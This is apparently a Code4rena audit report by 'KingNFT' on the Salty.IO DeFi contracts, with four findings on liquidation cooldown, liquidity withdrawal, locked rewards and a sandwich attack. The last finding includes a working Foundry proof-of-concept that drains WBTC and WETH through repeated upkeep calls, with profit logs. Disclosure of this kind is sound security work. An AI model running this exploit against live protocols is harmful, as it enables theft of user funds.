Salty.IO - KingNFT's results

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/CollateralAndLiquidity.sol#L154

Vulnerability details

Impact

In current implementation, liquidation would fail while borrowers are in operation cool down. Users could periodically add negligible liquidity to keep in cool down and prevent liquidation in realistic time range such as some days.

Proof of Concept

The issue arises on L154 of liquidateUser() function, the last parameter useCooldown is set to true, this would trigger revert on L107 if the user being liquidated is under cooldown.

File: src\stable\CollateralAndLiquidity.sol
140: 	function liquidateUser( address wallet ) external nonReentrant
141: 		{
...
154: 		_decreaseUserShare( wallet, collateralPoolID, userCollateralAmount, true ); // @audit true => false
...
188: 		}

File: src\staking\StakingRewards.sol
097: 	function _decreaseUserShare( address wallet, bytes32 poolID, uint256 decreaseShareAmount, bool useCooldown ) internal
098: 		{
...
104: 		if ( useCooldown )
105: 		if ( msg.sender != address(exchangeConfig.dao()) ) // DAO doesn't use the cooldown
106: 			{
107: 			require( block.timestamp >= user.cooldownExpiration, "Must wait for the cooldown to expire" );
108: 
109: 			// Update the cooldown expiration for future transactions
110: 			user.cooldownExpiration = block.timestamp + stakingConfig.modificationCooldown();
111: 			}
...
140: 		}

Now, let's say the WBTC or WETH price quickly fall and make some users' collateral value decreasing to near liquidation threshold. Users could add negligible liquidity to refresh coolDown time rather than increasing liquidity or repaying USDS to prevent liquidation. To be even worse, users could try to refresh coolDown repeatedly. This would significantly increase depeg risk of USDS in such market situation.

Tools Used

Manually review

Recommended Mitigation Steps

See PoC

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/stable/Liquidizer.sol#L123

Vulnerability details

Impact

The Liquidizer._possiblyBurnUSDS() function is not well implemented, there are cases removing Protocol Owned Liquidity and burning SALT unnecessary.

Proof of Concept

The issue arises on L121, as there may be still available WBTC/WETH left to buy back USDS. In this case, removing Protocol Owned Liquidity is unnecessary.

File: src\stable\Liquidizer.sol
101: 	function _possiblyBurnUSDS() internal
102: 		{
103: 		// Check if there is USDS to burn
104: 		if ( usdsThatShouldBeBurned == 0 )
105: 			return;
106: 
107: 		uint256 usdsBalance = usds.balanceOf(address(this));
108: 		if ( usdsBalance >= usdsThatShouldBeBurned )
109: 			{
110: 			// Burn only up to usdsThatShouldBeBurned.
111: 			// Leftover USDS will be kept in this contract in case it needs to be burned later.
112: 			_burnUSDS( usdsThatShouldBeBurned );
113:     		usdsThatShouldBeBurned = 0;
114: 			}
115: 		else
116: 			{
117: 			// The entire usdsBalance will be burned - but there will still be an outstanding balance to burn later
118: 			_burnUSDS( usdsBalance );
119: 			usdsThatShouldBeBurned -= usdsBalance;
120: 
+                       if (wbtc.balanceOf(address(this)) > PoolUtils.DUST || weth.balanceOf(address(this)) > PoolUtils.DUST)
+                           return;
121: 			// As there is a shortfall in the amount of USDS that can be burned, liquidate some Protocol Owned Liquidity and
122: 			// send the underlying tokens here to be swapped to USDS
123: 			dao.withdrawPOL(salt, usds, PERCENT_POL_TO_WITHDRAW);
124: 			dao.withdrawPOL(dai, usds, PERCENT_POL_TO_WITHDRAW);
125: 			}
126: 		}

Take an example to explain why this case would happen, let's say current pool reserves are like:

Pools[WBTC/USDS].WBTC == 10 WBTC
Pools[WBTC/USDS].USDS == 40,000 * 10 = 400K USDS
Pools[WETH/USDS].WETH == 100 WETH
Pools[WETH/USDS].USDS == 2,000 * 100 = 200K USDS

Then, a liquidation occurs with

USDSShouldToBurn = 80K USDS
liquidatedWBTC = 1 BTC
liquidatedWETH = 20 WETH

During Liquidizer.performUpkeep(), due to the limit of maximumInternalSwapPercentTimes1000 (L136), tradable WBTC/WETH in each performUpkeep is only up to 1% of pool's reserve. In this case, they are 10 WBC / 100 = 0.1 WBTC and 100 WETH / 100 = 1 WETH respectively. After swap, buying back about 0.1 WBTC * 40000 + 1 WETH * 2000 = 6000 USDS (L139~L140), can't fulfill the 80K USDS deficit, then a removal of Protocol Owned Liquidity occurs on L123~L124 of _possiblyBurnUSDS(). But actually there are still 0.9 WBTC and 19 WETH remaining for usage of buying back USDS.

File: src\pools\PoolsConfig.sol
41: 	uint256 public maximumInternalSwapPercentTimes1000 = 1000;  // Defaults to 1.0% with a 1000x multiplier
42: 

File: src\stable\Liquidizer.sol
132: 	function performUpkeep() external
133: 		{
134: 		require( msg.sender == address(exchangeConfig.upkeep()), "Liquidizer.performUpkeep is only callable from the Upkeep contract" );
135: 
136: 		uint256 maximumInternalSwapPercentTimes1000 = poolsConfig.maximumInternalSwapPercentTimes1000();
137: 
138: 		// Swap tokens that have previously been sent to this contract for USDS
139: 		PoolUtils._placeInternalSwap(pools, wbtc, usds, wbtc.balanceOf(address(this)), maximumInternalSwapPercentTimes1000 );
140: 		PoolUtils._placeInternalSwap(pools, weth, usds, weth.balanceOf(address(this)), maximumInternalSwapPercentTimes1000 );
141: 		PoolUtils._placeInternalSwap(pools, dai, usds, dai.balanceOf(address(this)), maximumInternalSwapPercentTimes1000 );
142: 
143: 		// Any SALT balance seen here should just be burned so as to not put negative price pressure on SALT by swapping it to USDS
144: 		uint256 saltBalance = salt.balanceOf(address(this));
145: 		if ( saltBalance > 0 )
146: 			{
147: 			salt.safeTransfer(address(salt), saltBalance);
148: 			salt.burnTokensInContract();
149: 			}
150: 
151: 		_possiblyBurnUSDS();
152: 		}

Tools Used

Manually review

Recommended Mitigation Steps

See PoC

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/pools/PoolsConfig.sol#L63

Vulnerability details

Impact

In unwhitelistPool(), there is neither a check for whether the pool's pending reward is zero nor distributing reward to liquidity providers or protocol. These reward would be locked in RewardsEmitter contract.

Proof of Concept

Shown as following, SALT tokens are rewarded to liquidity providers gradually by RewardsEmitter.performUpkeep() function. Please pay attention on L094, only whitelistedPools() are qualified for the emission.

File: src\rewards\RewardsEmitter.sol
082: 	function performUpkeep( uint256 timeSinceLastUpkeep ) external
083: 		{
084: 		require( msg.sender == address(exchangeConfig.upkeep()), "RewardsEmitter.performUpkeep is only callable from the Upkeep contract" );
085: 
086: 		if ( timeSinceLastUpkeep == 0 )
087: 			return;
088: 
089: 		bytes32[] memory poolIDs;
090: 
091: 		 if ( isForCollateralAndLiquidity )
092: 		 	{
093: 		 	// For the liquidityRewardsEmitter, all pools can receive rewards
094: 			poolIDs = poolsConfig.whitelistedPools();
095: 			}
096: 		 else
097: 		 	{
098: 		 	// The stakingRewardsEmitter only distributes rewards to those that have staked SALT
099: 		 	poolIDs = new bytes32[](1);
100: 		 	poolIDs[0] = PoolUtils.STAKED_SALT;
101: 		 	}
102: 
103: 		// Cap the timeSinceLastUpkeep at one day (if for some reason it has been longer).
104: 		// This will cap the emitted rewards at a default of 1% in this transaction.
105: 		if ( timeSinceLastUpkeep >= MAX_TIME_SINCE_LAST_UPKEEP )
106:         	timeSinceLastUpkeep = MAX_TIME_SINCE_LAST_UPKEEP;
107: 
108: 		// These are the AddedRewards that will be sent to the specified StakingRewards contract
109: 		AddedReward[] memory addedRewards = new AddedReward[]( poolIDs.length );
110: 
111: 		// Rewards to emit = pendingRewards * timeSinceLastUpkeep * rewardsEmitterDailyPercent / oneDay
112: 		uint256 numeratorMult = timeSinceLastUpkeep * rewardsConfig.rewardsEmitterDailyPercentTimes1000();
113: 		uint256 denominatorMult = 1 days * 100000; // simplification of numberSecondsInOneDay * (100 percent) * 1000
114: 
115: 		uint256 sum = 0;
116: 		for( uint256 i = 0; i < poolIDs.length; i++ )
117: 			{
118: 			bytes32 poolID = poolIDs[i];
119: 
120: 			// Each pool will send a percentage of the pending rewards based on the time elapsed since the last send
121: 			uint256 amountToAddForPool = ( pendingRewards[poolID] * numeratorMult ) / denominatorMult;
122: 
123: 			// Reduce the pending rewards so they are not sent again
124: 			if ( amountToAddForPool != 0 )
125: 				{
126: 				pendingRewards[poolID] -= amountToAddForPool;
127: 
128: 				sum += amountToAddForPool;
129: 				}
130: 
131: 			// Specify the rewards that will be added for the specific pool
132: 			addedRewards[i] = AddedReward( poolID, amountToAddForPool );
133: 			}
134: 
135: 		// Add the rewards so that they can later be claimed by the users proportional to their share of the StakingRewards derived contract.
136: 		stakingRewards.addSALTRewards( addedRewards );
137: 		}

Obviously, if RewardsEmitter.pendingRewards[poolID] != 0 when the following PoolsConfig.unwhitelistPool() is executed, those pending reward would be locked in RewardsEmitter contract.

File: src\pools\PoolsConfig.sol
63: 	function unwhitelistPool( IPools pools, IERC20 tokenA, IERC20 tokenB ) external onlyOwner
64: 		{
65: 		bytes32 poolID = PoolUtils._poolID(tokenA,tokenB);
66: 
67: 		_whitelist.remove(poolID);
68: 		delete underlyingPoolTokens[poolID];
69: 
70: 		// Make sure that the cached arbitrage indicies in PoolStats are updated
71: 		pools.updateArbitrageIndicies();
72: 
73: 		emit PoolUnwhitelisted(address(tokenA), address(tokenB));
74: 		}

Tools Used

Manually review

Recommended Mitigation Steps

send these pending reward to pool immediately or return them to the protocol

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/Upkeep.sol#L244

Vulnerability details

Impact

The Liquidizer contract has limited a max of 1% pool size for buying back USDS, which reduces impact on instant price drift, But the upkeep.performUpkeep() function has no cool down, attackers can repeatedly call upkeep to spend all WBTC and WETH of Liquidizer contract in a same transaction. By doing this, a sandwich MEV attack to drain free fund from the protocol become available.

Proof of Concept

The following coded PoC shows a realistic case that drains 0.145 WBTC and 1.46 WETH from the protocol by this attack vector.

// SPDX-License-Identifier: BUSL 1.1
pragma solidity =0.8.22;

import "../../dev/Deployment.sol";
import "../../price_feed/tests/ForcedPriceFeed.sol";
import "forge-std/Test.sol";

contract TestMEVAttack is Deployment {
    address public constant alice = address(0x1111);
    address public constant bob = address(0x2222);
    bytes32 public collateralPoolID;

    constructor() {
        grantAccessAlice();
        grantAccessBob();
        grantAccessDeployer();
        grantAccessDefault();

        finalizeBootstrap();

        vm.prank(address(daoVestingWallet));
        salt.transfer(DEPLOYER, 1000000 ether);

        collateralPoolID = PoolUtils._poolID(wbtc, weth);

        // Mint some USDS to the DEPLOYER
        vm.prank(address(collateralAndLiquidity));
        usds.mintTo(DEPLOYER, 10_000_000 ether);
    }

    function setUp() public {
        vm.startPrank(DEPLOYER);
        // 1. Add some base liqudities for liqudizer to buy back USDS
        uint256 addedWBTC = 10 * 10 ** 8;
        uint256 addedWETH = 200 ether;
        uint256 addedUSDS = 200_000 ether;
        wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
        weth.approve(address(collateralAndLiquidity), type(uint256).max);
        usds.approve(address(collateralAndLiquidity), type(uint256).max);
        collateralAndLiquidity.depositCollateralAndIncreaseShare(
            addedWBTC,
            addedWETH,
            0,
            block.timestamp,
            true
        );
        collateralAndLiquidity.depositLiquidityAndIncreaseShare(
            wbtc,
            usds,
            addedWBTC,
            addedUSDS,
            0,
            block.timestamp,
            true
        );
        collateralAndLiquidity.depositLiquidityAndIncreaseShare(
            weth,
            usds,
            addedWETH,
            addedUSDS,
            0,
            block.timestamp,
            true
        );

        // 2. Give some funds
        wbtc.transfer(alice, 1 * 10 ** 8);
        wbtc.transfer(bob, 1 * 10 ** 8);
        weth.transfer(alice, 20 ether);
        weth.transfer(bob, 20 ether);
        vm.stopPrank();
    }

    function testMEVAttack() public {
        // 1. Alice will deposit collateral and borrow max USDS
        vm.startPrank(DEPLOYER);
        forcedPriceFeed.setBTCPrice(40_000 ether); // 40K$/BTC
        forcedPriceFeed.setETHPrice(2_000 ether); // 2K$/ETH
        vm.stopPrank();
        vm.startPrank(alice);
        uint256 depositedWBTC = 1 * 10 ** 8;
        uint256 depositedWETH = 20 ether;
        wbtc.approve(address(collateralAndLiquidity), type(uint256).max);
        weth.approve(address(collateralAndLiquidity), type(uint256).max);
        collateralAndLiquidity.depositCollateralAndIncreaseShare(
            depositedWBTC,
            depositedWETH,
            0,
            block.timestamp,
            true
        );
        uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
        assertEq(40_000 ether, maxUSDS);
        collateralAndLiquidity.borrowUSDS(maxUSDS);
        vm.stopPrank();

        // 2. price decreases
        vm.startPrank(DEPLOYER);
        forcedPriceFeed.setBTCPrice((forcedPriceFeed.getPriceBTC() * 54) / 100);
        forcedPriceFeed.setETHPrice((forcedPriceFeed.getPriceETH() * 54) / 100);
        vm.stopPrank();

        // 3. liquidate alice
        vm.warp(block.timestamp + 1 hours); // Delay before the liquidation
        collateralAndLiquidity.liquidateUser(alice);

        // 4. now, Liquidizer has significant WBTC and WETH
        uint256 wbtcBalance = wbtc.balanceOf(address(liquidizer));
        uint256 wethBalance = weth.balanceOf(address(liquidizer));
        assertApproxEqAbs(wbtcBalance, 0.988 * 10 ** 8, 0.001 * 10 ** 8);
        assertApproxEqAbs(wethBalance, 19.7 ether, 0.1 ether);
        
        // 5. Though, Liquidizer has limited a max of 1% pool size (0.1 WBTC/2 WETH in this case)
        //    to be used for buying back USDS, but due to lack of constrain on multiple calling
        //    "upkeep.performUpkeep()" in same transaction, attackers can repeatedly call upkeep 
        //    to spend all WBTC and WETH immediately. By doing this, a sandwich MEV attack to
        //    drain free fund from the protocol become available.
        vm.startPrank(bob);
        wbtcBalance = wbtc.balanceOf(address(bob)); 
        wethBalance = weth.balanceOf(address(bob));
        wbtc.approve(address(pools), type(uint256).max);
        weth.approve(address(pools), type(uint256).max);
        pools.depositSwapWithdraw(wbtc, usds, 1 * 10 ** 8, 0, block.timestamp);
        pools.depositSwapWithdraw(weth, usds, 20 ether, 0, block.timestamp);
        for (uint256 i; i < 10; ++i) {
            upkeep.performUpkeep();
        }
        uint256 usdsBalance = usds.balanceOf(bob);
        usds.approve(address(pools), type(uint256).max);
        pools.depositSwapWithdraw(usds, wbtc, usdsBalance / 2, 0, block.timestamp);
        pools.depositSwapWithdraw(usds, weth, usdsBalance / 2, 0, block.timestamp);
        uint256 wbtcProfit = wbtc.balanceOf(address(bob)) - wbtcBalance; 
        uint256 wethProfit = weth.balanceOf(address(bob)) - wethBalance;
        console2.log("WBTC Profit:", wbtcProfit); // 0.145 WBTC
        console2.log("WETH Profit:", wethProfit); // 1.46 WETH
        vm.stopPrank();
    }
}

And test logs:

2024-01-salty> forge test --match-contract TestMEVAttack -vv --rpc-url https://rpc.sepolia.org/
[⠔] Compiling...
[⠢] Compiling 1 files with 0.8.22Compiler run successful!
[⠆] Compiling 1 files with 0.8.22
[⠰] Solc 0.8.22 finished in 13.73s

Running 1 test for src/stable/tests/MEVAttack.t.sol:TestMEVAttack
[PASS] testMEVAttack() (gas: 4768813)
Logs:
  WBTC Profit: 14502827
  WETH Profit: 1464756782120705632

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 173.59s

Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Tools Used

Manually review

Recommended Mitigation Steps

Add a cool down for upkeep.performUpkeep()

Assessed type

MEV